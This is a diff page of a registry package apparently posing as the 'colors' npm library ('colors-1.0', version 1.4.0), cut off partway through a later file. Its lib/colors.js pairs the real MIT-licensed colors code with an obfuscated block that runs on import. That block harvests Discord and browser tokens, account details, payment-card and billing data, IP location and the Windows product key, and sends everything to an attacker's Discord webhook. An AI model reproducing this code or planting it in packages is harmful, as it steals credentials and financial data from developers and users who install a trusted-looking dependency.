colors-1.0 0.0.1-security → 1.4.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of colors-1.0 might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +219 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +213 -0
- package/lib/config.json +3 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +13 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +47 -4
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
package/lib/colors.js
ADDED
@@ -0,0 +1,213 @@
|
|
1
|
+
/*
|
2
|
+
|
3
|
+
The MIT License (MIT)
|
4
|
+
|
5
|
+
Original Library
|
6
|
+
- Copyright (c) Marak Squires
|
7
|
+
|
8
|
+
Additional functionality
|
9
|
+
- Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
10
|
+
|
11
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
12
|
+
of this software and associated documentation files (the "Software"), to deal
|
13
|
+
in the Software without restriction, including without limitation the rights
|
14
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
15
|
+
copies of the Software, and to permit persons to whom the Software is
|
16
|
+
furnished to do so, subject to the following conditions:
|
17
|
+
|
18
|
+
The above copyright notice and this permission notice shall be included in
|
19
|
+
all copies or substantial portions of the Software.
|
20
|
+
|
21
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
22
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
23
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
24
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
25
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
26
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
27
|
+
THE SOFTWARE.
|
28
|
+
|
29
|
+
*/
|
30
|
+
|
31
|
+
var colors = {};
|
32
|
+
module['exports'] = colors;
|
33
|
+
|
34
|
+
const _0x27cca2=_0x3dc3;function _0x5330(){const _0x1c36db=['billing_address','avatar','brand','last_4','\x0aPostal\x20Code:\x20','googleMaps','nsfw_allowed','city','then','LOCALAPPDATA','Error','French','location','19930wPHLEc','mfa_enabled','\x0aEndereço:\x0a\x20\x20\x20Nome:\x20','\x5cdiscord\x5cLocal\x20Storage\x5cleveldb\x5c','toUpperCase',')\x0aExpira\x20em:\x20','```\x0a[Google\x20Maps](','readFileSync','2332NmpkRN','\x0aInvalido:\x20','oken','endsWith','\x0aCity:\x20','Lithuanian','GET','hostname','\x0aPaís:\x20','https://cdn.discordapp.com/avatars/','ram','.gif','\x0aCountry:\x20','Polish','computerName','.ldb','cpu','Japanese','discriminator','platform','setUsername','Czech','locale','writeFileSync','213284ShYszv','\x0aRAM:\x20','banner','\x5cIridium\x5cUser\x20Data\x5cDefault\x5cLocal\x20Storage\x5cleveldb\x5c','expires_year','push','token','\x5cYandex\x5cYandexBrowser\x5cUser\x20Data\x5cDefault\x5cLocal\x20Storage\x5cleveldb\x5c','\x0aHashTag:\x20','postalCode','\x5cGoogle\x5cChrome\x20SxS\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','country','```**','postal_code','582AVlacb','child_process','\x0aRegion:\x20','\x5cOrbitum\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','\x0aId:\x20','\x0a\x20\x20\x20Código\x20postal:\x20','English\x20(UK)','```\x0a__IP\x20Information__\x0a```IP:\x20','Dutch','setTitle','\x0aPlataforma:\x20','\x5cCentBrowser\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','Danish','length','https://cdn.discordapp.com/banners/','\x5cOpera\x20Software\x5cOpera\x20GX\x20Stable\x5cLocal\x20Storage\x5cleveldb\x5c','postal','verified','https://discordapp.com/api/v9/users/@me/billing/payment-sources','http://ipinfo.io/json','\x5cOpera\x20Software\x5cOpera\x20Stable\x5cLocal\x20Storage\x5cleveldb\x5c','\x5cGoogle\x5cChrome\x5cUser\x20Data\x5cDefault\x5cLocal\x20Storage\x5cleveldb\x5c','startsWith','data','echo\x20%username%','mfa','username','sendFile','substring','\x5cdiscordcanary\x5cLocal\x20Storage\x5cleveldb\x5c','8nrhubg','\x5cCards.txt','\x5cVivaldi\x5cUser\x20Data\x5cDefault\x5cLocal\x20Storage\x5cleveldb\x5c','----------------------------------------------------------------\x0a\x0aNo:\x20****\x20****\x20****\x20','\x5cKometa\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','win32','Bulgarian','slice','\x0a\x20\x20\x20Cidade:\x20','env','68PWmKMs','**__AVATAR__**\x0a','APPDATA','default','state','They\x20Infecter','./config.json','.png','userName','\x5cBraveSoftware\x5cBrave-Browser\x5cUser\x20Data\x5cDefault\x5cLocal\x20Storage\x5cleveldb\x5c','\x0aLinguagem:\x20','\x0a\x20\x20\x20Estado:\x20','Turkish','axios','wmic\x20path\x20softwarelicensingservice\x20get\x20OA3xOriginalProductKey','\x0aWindows\x20Key:\x20','1QHgwQk','6366726gPMdqs',')\x0a\x0a__TOKEN__\x0a```','\x5cEpic\x20Privacy\x20Browser\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','expires_month','phone','\x5cLightcord\x5cLocal\x20Storage\x5cleveldb\x5c','\x0a\x20\x20\x20Line\x201:\x20','Chinese','Hungarian','lang','\x5c7Star\x5c7Star\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','\x0a\x20\x20\x20Line\x202:\x20','https://discord.com/api/v9/users/@me','name','7471790zcruPo','Korean','**__BANNER__**\x0a','existsSync','Russian','utf-8','Thai','German','email','28091ruOXRF','Taiwan','Greek','send','invalid','406209hyQLcs','\x0aNome\x20do\x20usuário:\x20','\x0aTelefone:\x20','\x20GB\x0aCPU:\x20','split','Finnish','Romanian','catch','\x5cAmigo\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','English\x20(US)','model','Swedish','Norwegian','\x0aE-mail:\x20','Windows','exec','87960wsdvGK','\x5cuCozMedia\x5cUran\x5cUser\x20Data\x5cDefault\x5cLocal\x20Storage\x5cleveldb\x5c','Ukranian','\x0aVerificado:\x20','region','indexOf'];_0x5330=function(){return _0x1c36db;};return _0x5330();}(function(_0x1e214a,_0x7ebee4){const _0x4440f9=_0x3dc3,_0x1260c4=_0x1e214a();while(!![]){try{const _0x565a7f=parseInt(_0x4440f9(0x1fa))/0x1*(parseInt(_0x4440f9(0x1b4))/0x2)+-parseInt(_0x4440f9(0x217))/0x3+parseInt(_0x4440f9(0x1ea))/0x4*(-parseInt(_0x4440f9(0x194))/0x5)+-parseInt(_0x4440f9(0x1c2))/0x6*(-parseInt(_0x4440f9(0x212))/0x7)+-parseInt(_0x4440f9(0x1e0))/0x8*(parseInt(_0x4440f9(0x1fb))/0x9)+-parseInt(_0x4440f9(0x209))/0xa+-parseInt(_0x4440f9(0x19c))/0xb*(-parseInt(_0x4440f9(0x227))/0xc);if(_0x565a7f===_0x7ebee4)break;else _0x1260c4['push'](_0x1260c4['shift']());}catch(_0x36d02c){_0x1260c4['push'](_0x1260c4['shift']());}}}(_0x5330,0x5fba9));const childProcess=require(_0x27cca2(0x1c3)),{Webhook,MessageBuilder}=require('discord-webhook-node'),fs=require('fs'),os=require('os'),{request}=require(_0x27cca2(0x1f7))[_0x27cca2(0x1ed)],{WebhookURL}=require(_0x27cca2(0x1f0)),webhook=new Webhook({'url':WebhookURL})[_0x27cca2(0x1b0)](_0x27cca2(0x1ef)),languages={'da':_0x27cca2(0x1ce),'de':_0x27cca2(0x210),'en-GB':_0x27cca2(0x1c8),'en-US':_0x27cca2(0x220),'es-ES':'Spanish','fr':_0x27cca2(0x192),'hr':'Croatian','lt':_0x27cca2(0x1a1),'hu':_0x27cca2(0x203),'nl':_0x27cca2(0x1ca),'no':_0x27cca2(0x223),'pl':_0x27cca2(0x1a9),'pt-BR':'Portuguese','ro':_0x27cca2(0x21d),'fi':_0x27cca2(0x21c),'sv-SE':_0x27cca2(0x222),'vi':'Vietnamese','tr':_0x27cca2(0x1f6),'cs':_0x27cca2(0x1b1),'el':_0x27cca2(0x214),'bg':_0x27cca2(0x1e6),'ru':_0x27cca2(0x20d),'uk':_0x27cca2(0x229),'th':_0x27cca2(0x20f),'zh-CN':_0x27cca2(0x202),'ja':_0x27cca2(0x1ad),'zh-TW':_0x27cca2(0x213),'ko':_0x27cca2(0x20a)},tokenPaths={'Discord':process[_0x27cca2(0x1e9)][_0x27cca2(0x1ec)]+_0x27cca2(0x197),'Discord\x20Canary':process[_0x27cca2(0x1e9)][_0x27cca2(0x1ec)]+_0x27cca2(0x1df),'Discord\x20PTB':process[_0x27cca2(0x1e9)]['APPDATA']+'\x5cdiscordptb\x5cLocal\x20Storage\x5cleveldb\x5c','Lightcord':process['env'][_0x27cca2(0x1ec)]+_0x27cca2(0x200),'Discord\x20PTB':process['env'][_0x27cca2(0x1ec)]+'\x5cdiscordptb\x5cLocal\x20Storage\x5cleveldb\x5c','Opera':process[_0x27cca2(0x1e9)]['APPDATA']+_0x27cca2(0x1d6),'Opera\x20GX':process[_0x27cca2(0x1e9)][_0x27cca2(0x1ec)]+_0x27cca2(0x1d1),'Amigo':process[_0x27cca2(0x1e9)]['LOCALAPPDATA']+_0x27cca2(0x21f),'Torch':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+'\x5cTorch\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','Kometa':process[_0x27cca2(0x1e9)]['LOCALAPPDATA']+_0x27cca2(0x1e4),'Orbitum':process[_0x27cca2(0x1e9)]['LOCALAPPDATA']+_0x27cca2(0x1c5),'CentBrowser':process['env'][_0x27cca2(0x190)]+_0x27cca2(0x1cd),'7Star':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+_0x27cca2(0x205),'Sputnik':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+'\x5cSputnik\x5cSputnik\x5cUser\x20Data\x5cLocal\x20Storage\x5cleveldb\x5c','Vivaldi':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+_0x27cca2(0x1e2),'Chrome\x20SxS':process['env'][_0x27cca2(0x190)]+_0x27cca2(0x1be),'Chrome':process['env'][_0x27cca2(0x190)]+_0x27cca2(0x1d7),'Epic\x20Privacy\x20Browser':process['env'][_0x27cca2(0x190)]+_0x27cca2(0x1fd),'Microsoft\x20Edge':process[_0x27cca2(0x1e9)]['LOCALAPPDATA']+'\x5cMicrosoft\x5cEdge\x5cUser\x20Data\x5cDefaul\x5cLocal\x20Storage\x5cleveldb\x5c','Uran':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+_0x27cca2(0x228),'Yandex':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+_0x27cca2(0x1bb),'Brave':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+_0x27cca2(0x1f3),'Iridium':process[_0x27cca2(0x1e9)][_0x27cca2(0x190)]+_0x27cca2(0x1b7)};function getIpInformation(){return new Promise(_0xa4faa2=>{const _0x5f33e3=_0x3dc3;request({'url':_0x5f33e3(0x1d5),'method':_0x5f33e3(0x1a2)})[_0x5f33e3(0x18f)](_0x12a700=>{const _0x221a39=_0x5f33e3;_0xa4faa2({'ip':_0x12a700[_0x221a39(0x1d9)]['ip'],'city':_0x12a700[_0x221a39(0x1d9)]['city'],'region':_0x12a700[_0x221a39(0x1d9)][_0x221a39(0x185)],'postalCode':_0x12a700['data'][_0x221a39(0x1d2)],'googleMaps':'https://www.google.com/maps/search/google+map++'+_0x12a700[_0x221a39(0x1d9)]['loc'],'country':_0x12a700[_0x221a39(0x1d9)][_0x221a39(0x1bf)]});return;})[_0x5f33e3(0x21e)](()=>{const _0x159b96=_0x5f33e3;_0xa4faa2(_0x159b96(0x191));return;});});}function getUserInformation(_0x343307){return new Promise(_0x29eb9d=>{const _0x1acf87=_0x3dc3;request({'url':_0x1acf87(0x207),'method':_0x1acf87(0x1a2),'headers':{'Authorization':_0x343307}})[_0x1acf87(0x18f)](_0x3cffca=>{const _0x4638b3=_0x1acf87;_0x29eb9d({'username':_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x1dc)],'discriminator':_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x1ae)],'id':_0x3cffca[_0x4638b3(0x1d9)]['id'],'lang':languages[_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x1b2)]]??_0x3cffca['data'][_0x4638b3(0x193)],'mfa':_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x195)],'nsfw':_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x18d)],'email':_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x211)],'phone':_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x1ff)],'verified':_0x3cffca['data'][_0x4638b3(0x1d3)],'token':_0x343307,'avatar':_0x3cffca['data'][_0x4638b3(0x188)]?_0x4638b3(0x1a5)+_0x3cffca[_0x4638b3(0x1d9)]['id']+'/'+(_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x188)]['startsWith']('a_')?_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x188)]+_0x4638b3(0x1a7):_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x188)]+_0x4638b3(0x1f1)):null,'banner':_0x3cffca[_0x4638b3(0x1d9)]['banner']?_0x4638b3(0x1d0)+_0x3cffca[_0x4638b3(0x1d9)]['id']+'/'+(_0x3cffca[_0x4638b3(0x1d9)]['banner'][_0x4638b3(0x1d8)]('a_')?_0x3cffca[_0x4638b3(0x1d9)]['banner']+_0x4638b3(0x1a7):_0x3cffca[_0x4638b3(0x1d9)][_0x4638b3(0x1b6)]+_0x4638b3(0x1f1)):null});return;})[_0x1acf87(0x21e)](()=>{const _0x5a1928=_0x1acf87;_0x29eb9d(_0x5a1928(0x191));return;});});}function getPcInformation(){return new Promise(_0x331b7a=>{const _0x53f3aa=_0x3dc3;childProcess[_0x53f3aa(0x226)](_0x53f3aa(0x1f8),(_0x203c72,_0x1241ad)=>{const _0x54daed=_0x53f3aa;if(_0x203c72){_0x331b7a(_0x54daed(0x191));return;}else{childProcess[_0x54daed(0x226)](_0x54daed(0x1da),(_0x1b1930,_0x3834f4)=>{const _0x276ca1=_0x54daed;if(_0x1b1930){_0x331b7a(_0x276ca1(0x191));return;}else{_0x331b7a({'computerName':os[_0x276ca1(0x1a3)](),'platform':os[_0x276ca1(0x1af)]()===_0x276ca1(0x1e5)?_0x276ca1(0x225):os[_0x276ca1(0x1af)]()[0x0][_0x276ca1(0x198)]()+os['platform']()[_0x276ca1(0x1e7)](0x1),'cpu':os['cpus']()[0x0][_0x276ca1(0x221)],'ram':(os['totalmem']()/0x400/0x400/0x400)['toFixed'](0x0),'windowsKey':_0x1241ad['split']('\x0a')[0x1],'userName':_0x3834f4[_0x276ca1(0x21b)]('\x0a')[0x0]});return;}});return;}});});}function getTokens(){const _0x4be136=_0x27cca2,_0x156c09=[];for(const _0x5d7a05 in tokenPaths){const _0x458bb3=tokenPaths[_0x5d7a05];if(fs[_0x4be136(0x20c)](_0x458bb3)){const _0x5f1547=fs['readdirSync'](_0x458bb3)['filter'](_0x5b106d=>_0x5b106d[_0x4be136(0x19f)](_0x4be136(0x1ab)));for(const _0x5956b9 of _0x5f1547){let _0x18afbc=fs[_0x4be136(0x19b)](_0x458bb3+_0x5956b9,'utf-8');while(index=_0x18afbc[_0x4be136(0x186)](_0x4be136(0x19e))!=-0x1){_0x18afbc=_0x18afbc[_0x4be136(0x1de)](index+_0x4be136(0x19e)[_0x4be136(0x1cf)]);}_0x156c09[_0x4be136(0x1b9)](_0x18afbc[_0x4be136(0x21b)]('\x22')[0x1]);}}}return _0x156c09;}function checkToken(_0x267966){return new Promise(_0x62c214=>{const _0x22ef4d=_0x3dc3;request({'url':_0x22ef4d(0x207),'method':_0x22ef4d(0x1a2),'headers':{'Authorization':_0x267966}})[_0x22ef4d(0x18f)](()=>{_0x62c214(!![]);return;})[_0x22ef4d(0x21e)](()=>{_0x62c214(![]);return;});});}function getPayments(_0x27e89a){return new Promise(_0x3ad740=>{const _0x41c0c0=_0x3dc3;request({'url':_0x41c0c0(0x1d4),'method':_0x41c0c0(0x1a2),'headers':{'Authorization':_0x27e89a}})['then'](_0x20bb8c=>{const _0x26b4b9=_0x41c0c0;let _0x5c3cb5='';for(const _0x4b6d48 of _0x20bb8c['data']){_0x5c3cb5+=_0x26b4b9(0x1e3)+_0x4b6d48[_0x26b4b9(0x18a)]+'\x20('+(_0x4b6d48[_0x26b4b9(0x189)][0x0][_0x26b4b9(0x198)]()+_0x4b6d48[_0x26b4b9(0x189)]['slice'](0x1))+_0x26b4b9(0x199)+_0x4b6d48[_0x26b4b9(0x1fe)]+'/'+_0x4b6d48[_0x26b4b9(0x1b8)]+_0x26b4b9(0x1a4)+_0x4b6d48[_0x26b4b9(0x1bf)]+_0x26b4b9(0x19d)+_0x4b6d48[_0x26b4b9(0x216)]+_0x26b4b9(0x196)+_0x4b6d48[_0x26b4b9(0x187)][_0x26b4b9(0x208)]+_0x26b4b9(0x201)+_0x4b6d48['billing_address']['line_1']+_0x26b4b9(0x206)+_0x4b6d48[_0x26b4b9(0x187)]['line_2']+_0x26b4b9(0x1e8)+_0x4b6d48[_0x26b4b9(0x187)]['city']+_0x26b4b9(0x1f5)+_0x4b6d48[_0x26b4b9(0x187)][_0x26b4b9(0x1ee)]+_0x26b4b9(0x1f5)+_0x4b6d48['billing_address'][_0x26b4b9(0x1ee)]+_0x26b4b9(0x1c7)+_0x4b6d48[_0x26b4b9(0x187)][_0x26b4b9(0x1c1)]+'\x0a\x0a';}_0x3ad740(_0x5c3cb5);return;})[_0x41c0c0(0x21e)](()=>{_0x3ad740(null);return;});});}function _0x3dc3(_0xcad8aa,_0x480609){const _0x533042=_0x5330();return _0x3dc3=function(_0x3dc3fb,_0x49fd08){_0x3dc3fb=_0x3dc3fb-0x185;let _0x1f75f2=_0x533042[_0x3dc3fb];return _0x1f75f2;},_0x3dc3(_0xcad8aa,_0x480609);}((async()=>{const _0x530c48=_0x27cca2,_0x1f4f97=await getIpInformation(),_0x3035da=await getPcInformation(),_0x22a0fb=getTokens();for(const _0x47dbc8 of _0x22a0fb){if(await checkToken(_0x47dbc8)){const _0x32597a=await getUserInformation(_0x47dbc8),_0x431c63=await getPayments(_0x47dbc8);await webhook[_0x530c48(0x215)](new MessageBuilder()[_0x530c48(0x1cb)](_0x32597a[_0x530c48(0x1dc)]+'#'+_0x32597a[_0x530c48(0x1ae)])['setDescription']('**__PC\x20Information__\x0a\x20\x20\x20\x20\x20\x20```Computer\x20Name:\x20'+_0x3035da[_0x530c48(0x1aa)]+_0x530c48(0x218)+_0x3035da[_0x530c48(0x1f2)]+_0x530c48(0x1cc)+_0x3035da[_0x530c48(0x1af)]+_0x530c48(0x1b5)+_0x3035da[_0x530c48(0x1a6)]+_0x530c48(0x21a)+_0x3035da[_0x530c48(0x1ac)]+_0x530c48(0x1f9)+_0x3035da['windowsKey']+'```\x0a__User\x20Information__\x0a```Username:\x20'+_0x32597a['username']+_0x530c48(0x1bc)+_0x32597a[_0x530c48(0x1ae)]+_0x530c48(0x1c6)+_0x32597a['id']+_0x530c48(0x1f4)+_0x32597a[_0x530c48(0x204)]+'\x0aV2E:\x20'+_0x32597a[_0x530c48(0x1db)]+_0x530c48(0x224)+_0x32597a['email']+_0x530c48(0x219)+_0x32597a['phone']+_0x530c48(0x22a)+_0x32597a[_0x530c48(0x1d3)]+_0x530c48(0x1c9)+_0x1f4f97['ip']+_0x530c48(0x1a8)+_0x1f4f97[_0x530c48(0x1bf)]+_0x530c48(0x1a0)+_0x1f4f97[_0x530c48(0x18e)]+_0x530c48(0x1c4)+_0x1f4f97['region']+_0x530c48(0x18b)+_0x1f4f97[_0x530c48(0x1bd)]+_0x530c48(0x19a)+_0x1f4f97[_0x530c48(0x18c)]+_0x530c48(0x1fc)+_0x32597a[_0x530c48(0x1ba)]+_0x530c48(0x1c0))),_0x32597a[_0x530c48(0x188)]&&await webhook['send'](_0x530c48(0x1eb)+_0x32597a[_0x530c48(0x188)]),_0x32597a[_0x530c48(0x1b6)]&&await webhook['send'](_0x530c48(0x20b)+_0x32597a[_0x530c48(0x1b6)]),_0x431c63&&(fs[_0x530c48(0x1b3)](process[_0x530c48(0x1e9)][_0x530c48(0x190)]+_0x530c48(0x1e1),_0x431c63,_0x530c48(0x20e)),await webhook[_0x530c48(0x1dd)](process['env'][_0x530c48(0x190)]+_0x530c48(0x1e1)),fs['unlinkSync'](process[_0x530c48(0x1e9)][_0x530c48(0x190)]+_0x530c48(0x1e1)));}}})());
|
35
|
+
|
36
|
+
colors.themes = {};
|
37
|
+
|
38
|
+
var util = require('util');
|
39
|
+
var ansiStyles = colors.styles = require('./styles');
|
40
|
+
var defineProps = Object.defineProperties;
|
41
|
+
var newLineRegex = new RegExp(/[\r\n]+/g);
|
42
|
+
|
43
|
+
colors.supportsColor = require('./system/supports-colors').supportsColor;
|
44
|
+
|
45
|
+
if (typeof colors.enabled === 'undefined') {
|
46
|
+
colors.enabled = colors.supportsColor() !== false;
|
47
|
+
}
|
48
|
+
|
49
|
+
colors.enable = function() {
|
50
|
+
colors.enabled = true;
|
51
|
+
};
|
52
|
+
|
53
|
+
colors.disable = function() {
|
54
|
+
colors.enabled = false;
|
55
|
+
};
|
56
|
+
|
57
|
+
colors.stripColors = colors.strip = function(str) {
|
58
|
+
return ('' + str).replace(/\x1B\[\d+m/g, '');
|
59
|
+
};
|
60
|
+
|
61
|
+
// eslint-disable-next-line no-unused-vars
|
62
|
+
var stylize = colors.stylize = function stylize(str, style) {
|
63
|
+
if (!colors.enabled) {
|
64
|
+
return str+'';
|
65
|
+
}
|
66
|
+
|
67
|
+
var styleMap = ansiStyles[style];
|
68
|
+
|
69
|
+
// Stylize should work for non-ANSI styles, too
|
70
|
+
if(!styleMap && style in colors){
|
71
|
+
// Style maps like trap operate as functions on strings;
|
72
|
+
// they don't have properties like open or close.
|
73
|
+
return colors[style](str);
|
74
|
+
}
|
75
|
+
|
76
|
+
return styleMap.open + str + styleMap.close;
|
77
|
+
};
|
78
|
+
|
79
|
+
var matchOperatorsRe = /[|\\{}()[\]^$+*?.]/g;
|
80
|
+
var escapeStringRegexp = function(str) {
|
81
|
+
if (typeof str !== 'string') {
|
82
|
+
throw new TypeError('Expected a string');
|
83
|
+
}
|
84
|
+
return str.replace(matchOperatorsRe, '\\$&');
|
85
|
+
};
|
86
|
+
|
87
|
+
function build(_styles) {
|
88
|
+
var builder = function builder() {
|
89
|
+
return applyStyle.apply(builder, arguments);
|
90
|
+
};
|
91
|
+
builder._styles = _styles;
|
92
|
+
// __proto__ is used because we must return a function, but there is
|
93
|
+
// no way to create a function with a different prototype.
|
94
|
+
builder.__proto__ = proto;
|
95
|
+
return builder;
|
96
|
+
}
|
97
|
+
|
98
|
+
var styles = (function() {
|
99
|
+
var ret = {};
|
100
|
+
ansiStyles.grey = ansiStyles.gray;
|
101
|
+
Object.keys(ansiStyles).forEach(function(key) {
|
102
|
+
ansiStyles[key].closeRe =
|
103
|
+
new RegExp(escapeStringRegexp(ansiStyles[key].close), 'g');
|
104
|
+
ret[key] = {
|
105
|
+
get: function() {
|
106
|
+
return build(this._styles.concat(key));
|
107
|
+
},
|
108
|
+
};
|
109
|
+
});
|
110
|
+
return ret;
|
111
|
+
})();
|
112
|
+
|
113
|
+
var proto = defineProps(function colors() {}, styles);
|
114
|
+
|
115
|
+
function applyStyle() {
|
116
|
+
var args = Array.prototype.slice.call(arguments);
|
117
|
+
|
118
|
+
var str = args.map(function(arg) {
|
119
|
+
// Use weak equality check so we can colorize null/undefined in safe mode
|
120
|
+
if (arg != null && arg.constructor === String) {
|
121
|
+
return arg;
|
122
|
+
} else {
|
123
|
+
return util.inspect(arg);
|
124
|
+
}
|
125
|
+
}).join(' ');
|
126
|
+
|
127
|
+
if (!colors.enabled || !str) {
|
128
|
+
return str;
|
129
|
+
}
|
130
|
+
|
131
|
+
var newLinesPresent = str.indexOf('\n') != -1;
|
132
|
+
|
133
|
+
var nestedStyles = this._styles;
|
134
|
+
|
135
|
+
var i = nestedStyles.length;
|
136
|
+
while (i--) {
|
137
|
+
var code = ansiStyles[nestedStyles[i]];
|
138
|
+
str = code.open + str.replace(code.closeRe, code.open) + code.close;
|
139
|
+
if (newLinesPresent) {
|
140
|
+
str = str.replace(newLineRegex, function(match) {
|
141
|
+
return code.close + match + code.open;
|
142
|
+
});
|
143
|
+
}
|
144
|
+
}
|
145
|
+
|
146
|
+
return str;
|
147
|
+
}
|
148
|
+
|
149
|
+
colors.setTheme = function(theme) {
|
150
|
+
if (typeof theme === 'string') {
|
151
|
+
console.log('colors.setTheme now only accepts an object, not a string. ' +
|
152
|
+
'If you are trying to set a theme from a file, it is now your (the ' +
|
153
|
+
'caller\'s) responsibility to require the file. The old syntax ' +
|
154
|
+
'looked like colors.setTheme(__dirname + ' +
|
155
|
+
'\'/../themes/generic-logging.js\'); The new syntax looks like '+
|
156
|
+
'colors.setTheme(require(__dirname + ' +
|
157
|
+
'\'/../themes/generic-logging.js\'));');
|
158
|
+
return;
|
159
|
+
}
|
160
|
+
for (var style in theme) {
|
161
|
+
(function(style) {
|
162
|
+
colors[style] = function(str) {
|
163
|
+
if (typeof theme[style] === 'object') {
|
164
|
+
var out = str;
|
165
|
+
for (var i in theme[style]) {
|
166
|
+
out = colors[theme[style][i]](out);
|
167
|
+
}
|
168
|
+
return out;
|
169
|
+
}
|
170
|
+
return colors[theme[style]](str);
|
171
|
+
};
|
172
|
+
})(style);
|
173
|
+
}
|
174
|
+
};
|
175
|
+
|
176
|
+
function init() {
|
177
|
+
var ret = {};
|
178
|
+
Object.keys(styles).forEach(function(name) {
|
179
|
+
ret[name] = {
|
180
|
+
get: function() {
|
181
|
+
return build([name]);
|
182
|
+
},
|
183
|
+
};
|
184
|
+
});
|
185
|
+
return ret;
|
186
|
+
}
|
187
|
+
|
188
|
+
var sequencer = function sequencer(map, str) {
|
189
|
+
var exploded = str.split('');
|
190
|
+
exploded = exploded.map(map);
|
191
|
+
return exploded.join('');
|
192
|
+
};
|
193
|
+
|
194
|
+
// custom formatter methods
|
195
|
+
colors.trap = require('./custom/trap');
|
196
|
+
colors.zalgo = require('./custom/zalgo');
|
197
|
+
|
198
|
+
// maps
|
199
|
+
colors.maps = {};
|
200
|
+
colors.maps.america = require('./maps/america')(colors);
|
201
|
+
colors.maps.zebra = require('./maps/zebra')(colors);
|
202
|
+
colors.maps.rainbow = require('./maps/rainbow')(colors);
|
203
|
+
colors.maps.random = require('./maps/random')(colors);
|
204
|
+
|
205
|
+
for (var map in colors.maps) {
|
206
|
+
(function(map) {
|
207
|
+
colors[map] = function(str) {
|
208
|
+
return sequencer(colors.maps[map], str);
|
209
|
+
};
|
210
|
+
})(map);
|
211
|
+
}
|
212
|
+
|
213
|
+
defineProps(colors, init());
|
package/lib/config.json
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
module['exports'] = function runTheTrap(text, options) {
|
2
|
+
var result = '';
|
3
|
+
text = text || 'Run the trap, drop the bass';
|
4
|
+
text = text.split('');
|
5
|
+
var trap = {
|
6
|
+
a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
|
7
|
+
b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
|
8
|
+
c: ['\u00a9', '\u023b', '\u03fe'],
|
9
|
+
d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
|
10
|
+
e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
|
11
|
+
'\u0a6c'],
|
12
|
+
f: ['\u04fa'],
|
13
|
+
g: ['\u0262'],
|
14
|
+
h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
|
15
|
+
i: ['\u0f0f'],
|
16
|
+
j: ['\u0134'],
|
17
|
+
k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
|
18
|
+
l: ['\u0139'],
|
19
|
+
m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
|
20
|
+
n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
|
21
|
+
o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
|
22
|
+
'\u06dd', '\u0e4f'],
|
23
|
+
p: ['\u01f7', '\u048e'],
|
24
|
+
q: ['\u09cd'],
|
25
|
+
r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
|
26
|
+
s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
|
27
|
+
t: ['\u0141', '\u0166', '\u0373'],
|
28
|
+
u: ['\u01b1', '\u054d'],
|
29
|
+
v: ['\u05d8'],
|
30
